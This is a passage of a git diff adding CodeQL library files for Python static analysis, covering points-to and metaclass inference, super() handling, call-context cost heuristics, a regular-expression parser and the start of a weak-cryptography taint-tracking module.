cls.getPyClass().(ImportTimeScope).entryEdge(result.getAUse(), _) + } + + private ClassObject get_inherited_metaclass(ClassObject cls) { + result = get_inherited_metaclass(cls, 0) + or + // Best guess if base is not a known class + exists(Object base | + base = class_base_type(cls, _) and + result = theUnknownType() | + not base instanceof ClassObject + or + base = theUnknownType() + ) + } + + private ClassObject get_inherited_metaclass(ClassObject cls, int n) { + exists(Class c | + c = cls.getPyClass() and + n = count(c.getABase()) + | + major_version() = 3 and result = theTypeType() + or + major_version() = 2 and result = theClassType() + ) + or + exists(ClassObject meta1, ClassObject meta2 | + meta1 = class_get_meta_class(py_base_type(cls, n)) and + meta2 = get_inherited_metaclass(cls, n+1) + | + /* Choose sub-class */ + get_an_improper_super_type(meta1) = meta2 and result = meta1 + or + get_an_improper_super_type(meta2) = meta1 and result = meta2 + or + /* Choose new-style meta-class over old-style */ + meta2 = theClassType() and result = meta1 + or + /* Make sure we have a metaclass, even if base is unknown */ + meta1 = theUnknownType() and result = theTypeType() + or + meta2 = theUnknownType() and result = meta1 + ) + } + + private Object six_add_metaclass_function() { + exists(Module six, FunctionExpr add_metaclass | + add_metaclass.getInnerScope().getName() = "add_metaclass" and + add_metaclass.getScope() = six and + result.getOrigin() = add_metaclass + ) + } + + private ControlFlowNode decorator_call_callee(ClassObject cls) { + exists(CallNode decorator_call, CallNode decorator | + decorator_call.getArg(0) = cls and + decorator = decorator_call.getFunction() and + result = decorator.getFunction() + ) + } + + /** INTERNAL -- Do not use */ + cached boolean has_six_add_metaclass(ClassObject cls) { + exists(ControlFlowNode callee, Object func | + callee = decorator_call_callee(cls) and + points_to(callee, _, func, _, _) | + func = six_add_metaclass_function() and result = true + or + not func = six_add_metaclass_function() and result = false + ) + or + not exists(six_add_metaclass_function()) and result = false + or + not exists(decorator_call_callee(cls)) and result = false + } + + /** INTERNAL -- Do not use */ + cached predicate six_add_metaclass(CallNode decorator_call, ClassObject decorated, ControlFlowNode metaclass) { + exists(CallNode decorator | + decorator_call.getArg(0) = decorated and + decorator = decorator_call.getFunction() and + decorator.getArg(0) = metaclass | + points_to(decorator.getFunction(), _, six_add_metaclass_function(), _, _) + or + exists(ModuleObject six | + six.getName() = "six" and + points_to(decorator.getFunction().(AttrNode).getObject("add_metaclass"), _, six, _, _) + ) + ) + } + + /** INTERNAL -- Use `not cls.isAbstract()` instead. */ + cached predicate concrete_class(ClassObject cls) { + Types::class_get_meta_class(cls) != theAbcMetaClassObject() + or + exists(Class c | + c = cls.getPyClass() and + not exists(c.getMetaClass()) + | + forall(Function f | + f.getScope() = c | + not exists(Raise r, Name ex | + r.getScope() = f and + (r.getException() = ex or r.getException().(Call).getFunc() = ex) and + (ex.getId() = "NotImplementedError" or ex.getId() = "NotImplemented") + ) + ) + ) + } + + /** Holds if instances of class `cls` are always truthy. */ + cached predicate instances_always_true(ClassObject cls) { + cls = theObjectType() + or + instances_always_true(cls, 0) and + not exists(string meth | + class_declares_attribute(cls, meth) | + meth = "__bool__" or meth = "__len__" or + meth = "__nonzero__" and major_version() = 2 + ) + } + + /** Holds if instances of class `cls` are always truthy. */ + cached predicate instances_always_true(ClassObject cls, int n) { + not cls = theNoneType() and + n = class_base_count(cls) + or + instances_always_true(cls, n+1) and + instances_always_true(class_base_type(cls, n)) + } + + } + + /** INTERNAL -- Public for testing only */ + module Test { + + import Calls + import SSA + import Layer + + } + +} + +/* Helper classes for `super` dispatching. */ + +class SuperCall extends Object { + + EssaVariable self; + ClassObject start; + + override string toString() { + result = "super()" + } + + SuperCall() { + exists(CallNode call, PointsToContext context | + call = this and + PointsTo::points_to(call.getFunction(), _, theSuperType(), _, _) | + PointsTo::points_to(call.getArg(0), context, start, _, _) and + self.getASourceUse() = call.getArg(1) + or + major_version() = 3 and + not exists(call.getArg(0)) and + exists(Function func | + call.getScope() = func and + context.appliesToScope(func) and + /* Implicit class argument is lexically enclosing scope */ + func.getScope() = start.getPyClass() and + /* Implicit 'self' is the 0th parameter */ + self.getDefinition().(ParameterDefinition).getDefiningNode() = func.getArg(0).asName().getAFlowNode() + ) + ) + } + + ClassObject startType() { + result = start + } + + ClassObject selfType(PointsToContext ctx) { + PointsTo::ssa_variable_points_to(self, ctx, _, result, _) + } + + predicate instantiation(PointsToContext ctx, ControlFlowNode f) { + PointsTo::points_to(this.(CallNode).getArg(0), ctx, start, _, _) and f = this + } + + EssaVariable getSelf() { + result = self + } +} + +class SuperBoundMethod extends Object { + + override string toString() { + result = "super()." + name + } + + SuperCall superObject; + string name; + + cached + SuperBoundMethod() { + exists(ControlFlowNode object | + this.(AttrNode).getObject(name) = object | + PointsTo::points_to(object, _, superObject, _, _) + ) + } + + FunctionObject getFunction(PointsToContext ctx) { + exists(ClassList mro | + mro = PointsTo::Types::get_mro(superObject.selfType(ctx)) | + result = mro.startingAt(superObject.startType()).getTail().lookup(name) + ) + } + + predicate instantiation(PointsToContext ctx, ControlFlowNode f) { + PointsTo::points_to(this.(AttrNode).getObject(name), ctx, superObject, _, _) and f = this + } + + EssaVariable getSelf() { + result = superObject.getSelf() + } + +} + diff --git a/python/ql/src/semmle/python/pointsto/PointsToContext.qll b/python/ql/src/semmle/python/pointsto/PointsToContext.qll new file mode 100755 index 00000000000..abbf5117e66 --- /dev/null +++ b/python/ql/src/semmle/python/pointsto/PointsToContext.qll @@ -0,0 +1,276 @@ +import python +private import semmle.python.pointsto.PointsTo + +/* + * A note on 'cost'. Cost doesn't represent the cost to compute, + * but (a vague estimate of) the cost to compute per value gained. + * This is constantly evolving, so see the various cost functions below for more details. + */ + +private int given_cost() { + exists(string depth | + py_flags_versioned("context.cost", depth, _) and + result = depth.toInt() + ) +} + +private int max_context_cost() { + not py_flags_versioned("context.cost", _, _) and result = 7 + or + result = max(int cost | cost = given_cost() | cost) +} + +private int syntactic_call_count(Scope s) { + exists(Function f | + f = s and f.getName() != "__init__" | + result = count(CallNode call | + call.getFunction().(NameNode).getId() = f.getName() + or + call.getFunction().(AttrNode).getName() = f.getName() + ) + ) + or + s.getName() = "__init__" and result = 1 + or + not s instanceof Function and result = 0 +} + +private int incoming_call_cost(Scope s) { + /* Syntactic call count will often be a considerable overestimate + * of the actual number of calls, so we use the square root. + * Cost = log(sqrt(call-count)) + */ + result = ((syntactic_call_count(s)+1).log(2)*0.5).floor() +} + +private int context_cost(TPointsToContext ctx) { + ctx = TMainContext() and result = 0 + or + ctx = TRuntimeContext() and result = 0 + or + ctx = TImportContext() and result = 0 + or + ctx = TCallContext(_, _, result) +} + +private int call_cost(CallNode call) { + if call.getScope().inSource() then + result = 2 + else + result = 3 +} + +private int outgoing_calls(Scope s) { + result = strictcount(CallNode call | call.getScope() = s) +} + +predicate super_method_call(CallNode call) { + call.getFunction().(AttrNode).getObject().(CallNode).getFunction().(NameNode).getId() = "super" +} + +private int outgoing_call_cost(CallNode c) { + /* Cost = log(outgoing-call-count) */ + result = outgoing_calls(c.getScope()).log(2).floor() +} + +/** Cost of contexts for a call, the more callers the + * callee of call has the more expensive it is to add contexts for it. + * This seems to be an effective heuristics for preventing an explosion + * in the number of contexts while retaining good results. + */ +private int splay_cost(CallNode c) { + if super_method_call(c) then + result = 0 + else + result = outgoing_call_cost(c) + incoming_call_cost(c.getScope()) +} + +private predicate call_to_init_or_del(CallNode call) { + exists(string mname | + mname = "__init__" or mname = "__del__" | + mname = call.getFunction().(AttrNode).getName() + ) +} + +/** Total cost estimate */ +private int total_call_cost(CallNode call) { + /* We want to always follow __init__ and __del__ calls as they tell us about object construction, + * but we need to be aware of cycles, so they must have a non-zero cost. + */ + if call_to_init_or_del(call) then + result = 1 + else + result = call_cost(call) + splay_cost(call) +} + +private int total_cost(CallNode call, PointsToContext ctx) { + ctx.appliesTo(call) and + result = total_call_cost(call) + context_cost(ctx) +} + +private cached newtype TPointsToContext = + TMainContext() + or + TRuntimeContext() + or + TImportContext() + or + TCallContext(ControlFlowNode call, PointsToContext outerContext, int cost) { + total_cost(call, outerContext) = cost and + cost <= max_context_cost() + } + +/** Points-to context. Context can be one of: + * * "main": Used for scripts. + * * "import": Use for non-script modules. + * * "default": Use for functions and methods without caller context. + * * All other contexts are call contexts and consist of a pair of call-site and caller context. + */ +class PointsToContext extends TPointsToContext { + + cached string toString() { + this = TMainContext() and result = "main" + or + this = TRuntimeContext() and result = "runtime" + or + this = TImportContext() and result = "import" + or + exists(CallNode callsite, PointsToContext outerContext | + this = TCallContext(callsite, outerContext, _) and + result = callsite.getLocation() + " from " + outerContext.toString() + ) + } + + /** Holds if `call` is the call-site from which this context was entered and `outer` is the caller's context. */ + predicate fromCall(CallNode call, PointsToContext caller) { + caller.appliesTo(call) and + this = TCallContext(call, caller, _) + } + + /** Holds if `call` is the call-site from which this context was entered and `caller` is the caller's context. */ + predicate fromCall(CallNode call, FunctionObject callee, PointsToContext caller) { + call = PointsTo::get_a_call(callee, caller) and + this = TCallContext(call, caller, _) + } + + /** Gets the caller context for this callee context. */ + PointsToContext getOuter() { + this = TCallContext(_, result, _) + } + + /** Holds if this context is relevant to the given scope. */ + predicate appliesToScope(Scope s) { + /* Scripts */ + this = TMainContext() and maybe_main(s) + or + /* Modules and classes evaluated at import */ + s instanceof ImportTimeScope and this = TImportContext() + or + this = TRuntimeContext() and executes_in_runtime_context(s) + or + /* Called functions, regardless of their name */ + exists(FunctionObject func, ControlFlowNode call, TPointsToContext outerContext | + call = PointsTo::get_a_call(func, outerContext) and + this = TCallContext(call, outerContext, _) and + s = func.getFunction() + ) + or + exists(FunctionObject func | + PointsTo::Flow::callsite_calls_function(_, _, func, this, _) and + s = func.getFunction() + ) + } + + /** Holds if this context can apply to the CFG node `n`. */ + pragma [inline] + predicate appliesTo(ControlFlowNode n) { + this.appliesToScope(n.getScope()) + } + + /** Holds if this context is a call context. */ + predicate isCall() { + this = TCallContext(_, _, _) + } + + /** Holds if this is the "main" context. */ + predicate isMain() { + this = TMainContext() + } + + /** Holds if this is the "import" context. */ + predicate isImport() { + this = TImportContext() + } + + /** Holds if this is the "default" context. */ + predicate isRuntime() { + this = TRuntimeContext() + } + + /** Holds if this context or one of its caller contexts is the default context. */ + predicate fromRuntime() { + this.isRuntime() + or + this.getOuter().fromRuntime() + } + + /** Gets the depth (number of calls) for this context. */ + int getDepth() { + not exists(this.getOuter()) and result = 0 + or + result = this.getOuter().getDepth() + 1 + } + + int getCost() { + result = context_cost(this) + } + + /** Holds if a call would be too expensive to create a new context for */ + predicate untrackableCall(CallNode call) { + total_cost(call, this) > max_context_cost() + } + + CallNode getRootCall() { + this = TCallContext(result, TImportContext(), _) + or + result = this.getOuter().getRootCall() + } + + /** Gets a version of Python that this context includes */ + pragma [inline] + Version getAVersion() { + /* Currently contexts do not include any version information, but may do in the future */ + result = major_version() + } + +} + +private predicate in_source(Scope s) { + exists(s.getEnclosingModule().getFile().getRelativePath()) +} + +/** Holds if this scope can be executed in the default context. + * All modules and classes executed at import time and + * all "public" functions and methods, including those invoked by the VM. + */ +predicate executes_in_runtime_context(Function f) { + /* "Public" scope, i.e. functions whose name starts not with an underscore, or special methods */ + (f.getName().charAt(0) != "_" or f.isSpecialMethod() or f.isInitMethod()) + and + in_source(f) +} + +private predicate maybe_main(Module m) { + exists(If i, Compare cmp, Name name, StrConst main | + m.getAStmt() = i and i.getTest() = cmp | + cmp.compares(name, any(Eq eq), main) and + name.getId() = "__name__" and + main.getText() = "__main__" + ) +} + + +/* For backwards compatibility */ +/** DEPRECATED: Use `PointsToContext` instead */ +deprecated class FinalContext = PointsToContext; + diff --git a/python/ql/src/semmle/python/protocols.qll b/python/ql/src/semmle/python/protocols.qll new file mode 100644 index 00000000000..31808ff3c53 --- /dev/null +++ b/python/ql/src/semmle/python/protocols.qll @@ -0,0 +1,31 @@ +import python + +/** Retained for backwards compatibility use ClassObject.isIterator() instead. */ +predicate is_iterator(ClassObject c) { + c.isIterator() +} + +/** Retained for backwards compatibility use ClassObject.isIterable() instead. */ +predicate is_iterable(ClassObject c) { + c.isIterable() +} + +/** Retained for backwards compatibility use ClassObject.isCollection() instead. */ +predicate is_collection(ClassObject c) { + c.isCollection() +} + +/** Retained for backwards compatibility use ClassObject.isMapping() instead. */ +predicate is_mapping(ClassObject c) { + c.isMapping() +} + +/** Retained for backwards compatibility use ClassObject.isSequence() instead. */ +predicate is_sequence(ClassObject c) { + c.isSequence() +} + +/** Retained for backwards compatibility use ClassObject.isContextManager() instead. */ +predicate is_context_manager(ClassObject c) { + c.isContextManager() +} diff --git a/python/ql/src/semmle/python/regex.qll b/python/ql/src/semmle/python/regex.qll new file mode 100644 index 00000000000..da232c0fdf1 --- /dev/null +++ b/python/ql/src/semmle/python/regex.qll @@ -0,0 +1,707 @@ +import python + +private predicate re_module_function(string name, int flags) { + name = "compile" and flags = 1 or + name = "search" and flags = 2 or + name = "match" and flags = 2 or + name = "split" and flags = 3 or + name = "findall" and flags = 2 or + name = "finditer" and flags = 2 or + name = "sub" and flags = 4 or + name = "subn" and flags = 4 +} + +predicate used_as_regex(Expr s, string mode) { + (s instanceof Bytes or s instanceof Unicode) + and + exists(ModuleObject re | re.getName() = "re" | + /* Call to re.xxx(regex, ... [mode]) */ + exists(CallNode call, string name | + call.getArg(0).refersTo(_, _, s.getAFlowNode()) and + call.getFunction().refersTo(re.getAttribute(name)) | + mode = "None" + or + exists(Object obj | + mode = mode_from_mode_object(obj) | + exists(int flags_arg | + re_module_function(name, flags_arg) and + call.getArg(flags_arg).refersTo(obj) + ) + or + call.getArgByName("flags").refersTo(obj) + ) + ) + ) +} + +string mode_from_mode_object(Object obj) { + ( + result = "DEBUG" or result = "IGNORECASE" or result = "LOCALE" or + result = "MULTILINE" or result = "DOTALL" or result = "UNICODE" or + result = "VERBOSE" + ) and + exists(ModuleObject re | re.getName() = "re" and re.getAttribute(result) = obj) + or + exists(BinaryExpr be, Object sub | obj.getOrigin() = be | + be.getOp() instanceof BitOr and + be.getASubExpression().refersTo(sub) and + result = mode_from_mode_object(sub) + ) +} + +/** A StrConst used as a regular expression */ +abstract class RegexString extends Expr { + + RegexString() { + (this instanceof Bytes or this instanceof Unicode) + } + + predicate char_set_start(int start, int end) { + this.nonEscapedCharAt(start) = "[" and + ( + this.getChar(start+1) = "^" and end = start + 2 + or + not this.getChar(start+1) = "^" and end = start + 1 + ) + } + + /** Whether there is a character class, between start (inclusive) and end (exclusive) */ + predicate charSet(int start, int end) { + exists(int inner_start, int inner_end | + this.char_set_start(start, inner_start) | + end = inner_end + 1 and inner_end > inner_start and + this.nonEscapedCharAt(inner_end) = "]" and + not exists(int mid | this.nonEscapedCharAt(mid) = "]" | + mid > inner_start and mid < inner_end + ) + ) + } + + predicate escapingChar(int pos) { + this.escaping(pos) = true + } + + private boolean escaping(int pos) { + pos = -1 and result = false + or + this.getChar(pos) = "\\" and result = this.escaping(pos-1).booleanNot() + or + this.getChar(pos) != "\\" and result = false + } + + /** Gets the text of this regex */ + string getText() { + result = ((Unicode)this).getS() + or + result = ((Bytes)this).getS() + } + + string getChar(int i) { + result = this.getText().charAt(i) + } + + string nonEscapedCharAt(int i) { + result = this.getText().charAt(i) and + not this.escapingChar(i-1) + } + + private predicate isOptionDivider(int i) { + this.nonEscapedCharAt(i) = "|" + } + + private predicate isGroupEnd(int i) { + this.nonEscapedCharAt(i) = ")" + } + + private predicate isGroupStart(int i) { + this.nonEscapedCharAt(i) = "(" + } + + predicate failedToParse(int i) { + exists(this.getChar(i)) + and + not exists(int start, int end | + this.top_level(start, end) and + start <= i and + end > i + ) + } + + private predicate escapedCharacter(int start, int end) { + this.escapingChar(start) and not exists(this.getText().substring(start+1, end+1).toInt()) and + ( + this.getChar(start+1) = "x" and end = start + 4 + or + end in [start+2..start+4] and + exists(this.getText().substring(start+1, end).toInt()) + or + this.getChar(start+1) != "x" and end = start + 2 + ) + } + + private predicate inCharSet(int index) { + exists(int x, int y | this.charSet(x, y) and index in [x+1 .. y-2]) + } + + /* 'simple' characters are any that don't alter the parsing of the regex. + */ + private predicate simpleCharacter(int start, int end) { + end = start+1 and + not this.charSet(start, _) and + not this.charSet(_, start+1) and + exists(string c | + c = this.getChar(start) | + exists(int x, int y, int z | + this.charSet(x, z) and + this.char_set_start(x, y) | + start = y + or + start = z-2 + or + start > y and start < z-2 and not c = "-" + ) + or + not this.inCharSet(start) and + not c = "(" and not c = "[" and + not c = ")" and not c = "|" and + not this.qualifier(start, _, _) + ) + } + + predicate character(int start, int end) { + ( + this.simpleCharacter(start, end) and + not exists(int x, int y | this.escapedCharacter(x, y) and x <= start and y >= end) + or + this.escapedCharacter(start, end) + ) + and + not exists(int x, int y | + this.group_start(x, y) and x <= start and y >= end + ) + } + + predicate normalCharacter(int start, int end) { + this.character(start, end) + and + not this.specialCharacter(start, end, _) + } + + predicate specialCharacter(int start, int end, string char) { + this.character(start, end) + and + end = start+1 + and + char = this.getChar(start) + and + (char = "$" or char = "^" or char = ".") + and + not this.inCharSet(start) + } + + /** Whether the text in the range start,end is a group */ + predicate group(int start, int end) { + this.groupContents(start, end, _, _) + or + this.emptyGroup(start, end) + } + + /** Gets the number of the group in start,end */ + int getGroupNumber(int start, int end) { + this.group(start, end) and + result = count(int i | this.group(i, _) and i < start and not this.non_capturing_group_start(i, _)) + 1 + } + + /** Gets the name, if it has one, of the group in start,end */ + string getGroupName(int start, int end) { + this.group(start, end) + and + exists(int name_end | + this.named_group_start(start, name_end) and + result = this.getText().substring(start+4, name_end-1) + ) + } + + /** Whether the text in the range start, end is a group and can match the empty string. */ + predicate zeroWidthMatch(int start, int end) { + this.emptyGroup(start, end) + or + this.negativeAssertionGroup(start, end) + or + positiveLookaheadAssertionGroup(start, end) + or + this.positiveLookbehindAssertionGroup(start, end) + } + + private predicate emptyGroup(int start, int end) { + exists(int endm1 | + end = endm1+1 | + this.group_start(start, endm1) and + this.isGroupEnd(endm1) + ) + } + + private predicate emptyMatchAtStartGroup(int start, int end) { + this.emptyGroup(start, end) + or + this.negativeAssertionGroup(start, end) + or + this.positiveLookaheadAssertionGroup(start, end) + } + + private predicate emptyMatchAtEndGroup(int start, int end) { + this.emptyGroup(start, end) + or + this.negativeAssertionGroup(start, end) + or + this.positiveLookbehindAssertionGroup(start, end) + } + + private predicate negativeAssertionGroup(int start, int end) { + exists(int in_start | + this.negative_lookahead_assertion_start(start, in_start) + or + this.negative_lookbehind_assertion_start(start, in_start) | + this.groupContents(start, end, in_start, _) + ) + } + + private predicate positiveLookaheadAssertionGroup(int start, int end) { + exists(int in_start | + this.lookahead_assertion_start(start, in_start) | + this.groupContents(start, end, in_start, _) + ) + } + + private predicate positiveLookbehindAssertionGroup(int start, int end) { + exists(int in_start | + this.lookbehind_assertion_start(start, in_start) | + this.groupContents(start, end, in_start, _) + ) + } + + private predicate group_start(int start, int end) { + this.non_capturing_group_start(start, end) + or + this.flag_group_start(start, end, _) + or + this.named_group_start(start, end) + or + this.named_backreference_start(start, end) + or + this.lookahead_assertion_start(start, end) + or + this.negative_lookahead_assertion_start(start, end) + or + this.lookbehind_assertion_start(start, end) + or + this.negative_lookbehind_assertion_start(start, end) + or + this.comment_group_start(start, end) + or + this.simple_group_start(start, end) + } + + private predicate non_capturing_group_start(int start, int end) { + this.isGroupStart(start) and + this.getChar(start+1) = "?" and + this.getChar(start+2) = ":" and + end = start+3 + } + + private predicate simple_group_start(int start, int end) { + this.isGroupStart(start) and + this.getChar(start+1) != "?" and end = start+1 + } + + private predicate named_group_start(int start, int end) { + this.isGroupStart(start) and + this.getChar(start+1) = "?" and + this.getChar(start+2) = "P" and + this.getChar(start+3) = "<" and + not this.getChar(start+4) = "=" and + not this.getChar(start+4) = "!" and + exists(int name_end | + name_end = min(int i | i > start+4 and this.getChar(i) = ">") and + end = name_end + 1 + ) + } + + private predicate named_backreference_start(int start, int end) { + this.isGroupStart(start) and + this.getChar(start+1) = "?" and + this.getChar(start+2) = "P" and + this.getChar(start+3) = "=" and + end = min(int i | i > start+4 and this.getChar(i) = "?") + } + + private predicate flag_group_start(int start, int end, string c) { + this.isGroupStart(start) and + this.getChar(start+1) = "?" and + end = start+3 and + c = this.getChar(start+2) and + ( + c = "i" or + c = "L" or + c = "m" or + c = "s" or + c = "u" or + c = "x" + ) + } + + /** Gets the mode of this regular expression string if + * it is defined by a prefix. + */ + string getModeFromPrefix() { + exists(string c | + this.flag_group_start(_, _, c) | + c = "i" and result = "IGNORECASE" + or + c = "L" and result = "LOCALE" + or + c = "m" and result = "MULTILINE" + or + c = "s" and result = "DOTALL" + or + c = "u" and result = "UNICODE" + or + c = "x" and result = "VERBOSE" + ) + } + + private predicate lookahead_assertion_start(int start, int end) { + this.isGroupStart(start) and + this.getChar(start+1) = "?" and + this.getChar(start+2) = "=" and + end = start+3 + } + + private predicate negative_lookahead_assertion_start(int start, int end) { + this.isGroupStart(start) and + this.getChar(start+1) = "?" and + this.getChar(start+2) = "!" and + end = start+3 + } + + private predicate lookbehind_assertion_start(int start, int end) { + this.isGroupStart(start) and + this.getChar(start+1) = "?" and + this.getChar(start+2) = "<" and + this.getChar(start+3) = "=" and + end = start+4 + } + + private predicate negative_lookbehind_assertion_start(int start, int end) { + this.isGroupStart(start) and + this.getChar(start+1) = "?" and + this.getChar(start+2) = "<" and + this.getChar(start+3) = "!" and + end = start+4 + } + + private predicate comment_group_start(int start, int end) { + this.isGroupStart(start) and + this.getChar(start+1) = "?" and + this.getChar(start+2) = "#" and + end = start+3 + } + + predicate groupContents(int start, int end, int in_start, int in_end) { + this.group_start(start, in_start) and + end = in_end + 1 and + this.top_level(in_start, in_end) and + this.isGroupEnd(in_end) + } + + private predicate named_backreference(int start, int end, string name) { + this.named_backreference_start(start, start+4) and + end = min(int i | i > start+4 and this.getChar(i) = ")") + 1 and + name = this.getText().substring(start+4, end-2) + } + + private predicate numbered_backreference(int start, int end, int value) { + this.escapingChar(start) + and + exists(string text, string svalue, int len | + end = start + len and + text = this.getText() and len in [2..3] | + svalue = text.substring(start+1, start+len) and + value = svalue.toInt() and + not exists(text.substring(start+1, start+len+1).toInt()) and + value != 0 + ) + } + + /** Whether the text in the range start,end is a back reference */ + predicate backreference(int start, int end) { + this.numbered_backreference(start, end, _) + or + this.named_backreference(start, end, _) + } + + /** Gets the number of the back reference in start,end */ + int getBackrefNumber(int start, int end) { + this.numbered_backreference(start, end, result) + } + + /** Gets the name, if it has one, of the back reference in start,end */ + string getBackrefName(int start, int end) { + this.named_backreference(start, end, result) + } + + private predicate baseItem(int start, int end) { + this.character(start, end) and not exists(int x, int y | this.charSet(x, y) and x <= start and y >= end) + or + this.group(start, end) + or + this.charSet(start, end) + } + + private predicate qualifier(int start, int end, boolean maybe_empty) { + this.short_qualifier(start, end, maybe_empty) and not this.getChar(end) = "?" + or + exists(int short_end | + this.short_qualifier(start, short_end, maybe_empty) | + if this.getChar(short_end) = "?" then + end = short_end+1 + else + end = short_end + ) + } + + private predicate short_qualifier(int start, int end, boolean maybe_empty) { + ( + this.getChar(start) = "+" and maybe_empty = false + or + this.getChar(start) = "*" and maybe_empty = true + or + this.getChar(start) = "?" and maybe_empty = true + ) and end = start + 1 + or + exists(int endin | end = endin + 1 | + this.getChar(start) = "{" and this.getChar(endin) = "}" and + end > start and + exists(string multiples | + multiples = this.getText().substring(start+1, endin) | + multiples.regexpMatch("0*,[0-9]*") and maybe_empty = true + or + multiples.regexpMatch("0*[1-9][0-9]*,[0-9]*") and maybe_empty = false + ) + and + not exists(int mid | + this.getChar(mid) = "}" and + mid > start and mid < endin + ) + ) + } + + /** Whether the text in the range start,end is a qualified item, where item is a character, + * a character set or a group. + */ + predicate qualifiedItem(int start, int end, boolean maybe_empty) { + this.qualifiedPart(start, _, end, maybe_empty) + } + + private predicate qualifiedPart(int start, int part_end, int end, boolean maybe_empty) { + this.baseItem(start, part_end) and + this.qualifier(part_end, end, maybe_empty) + } + + private predicate item(int start, int end) { + this.qualifiedItem(start, end, _) + or + this.baseItem(start, end) and not this.qualifier(end, _, _) + } + + private predicate subsequence(int start, int end) { + ( + start = 0 or + this.group_start(_, start) or + this.isOptionDivider(start-1) + ) + and + this.item(start, end) or + ( + exists(int mid | + this.subsequence(start, mid) and + this.item(mid, end) + ) + ) + } + + /** Whether the text in the range start,end is a sequence of 1 or more items, where an item is a character, + * a character set or a group. + */ + predicate sequence(int start, int end) { + this.sequenceOrQualified(start, end) and + not this.qualifiedItem(start, end, _) + } + + private predicate sequenceOrQualified(int start, int end) { + this.subsequence(start, end) and + not this.item_start(end) + } + + private predicate item_start(int start) { + this.character(start, _) or + this.isGroupStart(start) or + this.charSet(start, _) + } + + private predicate item_end(int end) { + this.character(_, end) or + exists(int endm1 | this.isGroupEnd(endm1) and end = endm1 + 1) or + this.charSet(_, end) or + this.qualifier(_, end, _) + } + + private predicate top_level(int start, int end) { + this.subalternation(start, end, _) and + not this.isOptionDivider(end) + } + + private predicate subalternation(int start, int end, int item_start) { + this.sequenceOrQualified(start, end) and not this.isOptionDivider(start-1) and + item_start = start + or + start = end and not this.item_end(start) and this.isOptionDivider(end) and + item_start = start + or + exists(int mid | + this.subalternation(start, mid, _) and + this.isOptionDivider(mid) and + item_start = mid+1 | + this.sequenceOrQualified(item_start, end) + or + not this.item_start(end) and end = item_start + ) + } + + /** Whether the text in the range start,end is an alternation + */ + predicate alternation(int start, int end) { + this.top_level(start, end) and + exists(int less | this.subalternation(start, less, _) and less < end) + } + + /** Whether the text in the range start,end is an alternation and the text in part_start, part_end is one of the + * options in that alternation. + */ + predicate alternationOption(int start, int end, int part_start, int part_end) { + this.alternation(start, end) and + this.subalternation(start, part_end, part_start) + } + + /** A part of the regex that may match the start of the string. */ + private predicate firstPart(int start, int end) { + start = 0 and end = this.getText().length() + or + exists(int x | + this.firstPart(x, end) | + this.emptyMatchAtStartGroup(x, start) or + this.qualifiedItem(x, start, true) or + this.specialCharacter(x, start, "^") + ) + or + exists(int y | + this.firstPart(start, y) | + this.item(start, end) + or + this.qualifiedPart(start, end, y, _) + ) + or + exists(int x, int y | + this.firstPart(x, y) | + this.groupContents(x, y, start, end) + or + this.alternationOption(x, y, start, end) + ) + } + + /** A part of the regex that may match the end of the string. */ + private predicate lastPart(int start, int end) { + start = 0 and end = this.getText().length() + or + exists(int y | + this.lastPart(start, y) | + this.emptyMatchAtEndGroup(end, y) or + this.qualifiedItem(end, y, true) or + this.specialCharacter(end, y, "$") + ) + or + exists(int x | + this.lastPart(x, end) and + this.item(start, end) + ) + or + exists(int y | + this.lastPart(start, y) | + this.qualifiedPart(start, end, y, _) + ) + or + exists(int x, int y | + this.lastPart(x, y) | + this.groupContents(x, y, start, end) + or + this.alternationOption(x, y, start, end) + ) + } + + /** Whether the item at [start, end) is one of the first items + * to be matched. + */ + predicate firstItem(int start, int end) { + ( + this.character(start, end) + or + this.qualifiedItem(start, end, _) + or + this.charSet(start, end) + ) + and + this.firstPart(start, end) + } + + /** Whether the item at [start, end) is one of the last items + * to be matched. + */ + predicate lastItem(int start, int end) { + ( + this.character(start, end) + or + this.qualifiedItem(start, end, _) + or + this.charSet(start, end) + ) + and + this.lastPart(start, end) + } + +} + + +/** A StrConst used as a regular expression */ +class Regex extends RegexString { + + Regex() { + used_as_regex(this, _) + } + + /** Gets a mode (if any) of this regular expression. Can be any of: + * DEBUG + * IGNORECASE + * LOCALE + * MULTILINE + * DOTALL + * UNICODE + * VERBOSE + */ + string getAMode() { + result != "None" and + used_as_regex(this, result) + or + result = this.getModeFromPrefix() + } + +} \ No newline at end of file diff --git a/python/ql/src/semmle/python/security/Crypto.qll b/python/ql/src/semmle/python/security/Crypto.qll new file mode 100644 index 00000000000..38ce0fa3541 --- /dev/null +++ b/python/ql/src/semmle/python/security/Crypto.qll @@ -0,0 +1,195 @@ +import python +import semmle.python.security.TaintTracking + +private import semmle.python.security.SensitiveData +private import semmle.crypto.Crypto as CryptoLib + + +abstract class WeakCryptoSink extends TaintSink { + + override predicate sinks(TaintKind taint) { + taint instanceof SensitiveData + } +} + +module Pycrypto { + + ModuleObject cipher(string name) { + exists(PackageObject crypto | + crypto.getName() = "Crypto.Cipher" | + crypto.submodule(name) = result + ) + } + + class CipherInstance extends TaintKind { + + string name; + + CipherInstance() { + this = "Crypto.Cipher." + name and + exists(cipher(name)) + } + + string getName() { + result = name + } + + CryptoLib::CryptographicAlgorithm getAlgorithm() { + result.getName() = name + } + + predicate isWeak() { + this.getAlgorithm().isWeak() + } + + } + + class CipherInstanceSource extends TaintSource { + + CipherInstance instance; + + CipherInstanceSource() { + exists(AttrNode attr | + this.(CallNode).getFunction() = attr and + attr.getObject("new").refersTo(cipher(instance.getName())) + ) + } + + override string toString() { + result = "Source of " + instance + } + + override predicate isSourceOf(TaintKind kind) { + kind = instance + } + + } + + class PycryptoWeakCryptoSink extends WeakCryptoSink { + + string name; + + PycryptoWeakCryptoSink() { + exists(CallNode call, AttrNode method, CipherInstance Cipher | + call.getAnArg() = this and + call.getFunction() = method and + Cipher.taints(method.getObject("encrypt")) and + Cipher.isWeak() and + Cipher.getName() = name + ) + } + + override string toString() { + result = "Use of weak crypto algorithm " + name + } + + } + +} + +module Cryptography { + + PackageObject ciphers() { + result.getName() = "cryptography.hazmat.primitives.ciphers" + } + + class CipherClass extends ClassObject { + CipherClass() { + ciphers().getAttribute("Cipher") = this + } + + } + + class AlgorithmClass extends ClassObject { + + AlgorithmClass() { + ciphers().submodule("algorithms").getAttribute(_) = this + } + + string getAlgorithmName() { + result = this.declaredAttribute("name").(StringObject).getText() + } + + predicate isWeak() { + exists(CryptoLib::CryptographicAlgorithm algo | + algo.getName() = this.getAlgorithmName() and + algo.isWeak() + ) + } + } + + class CipherInstance extends TaintKind { + + AlgorithmClass cls; + + CipherInstance() { + this = 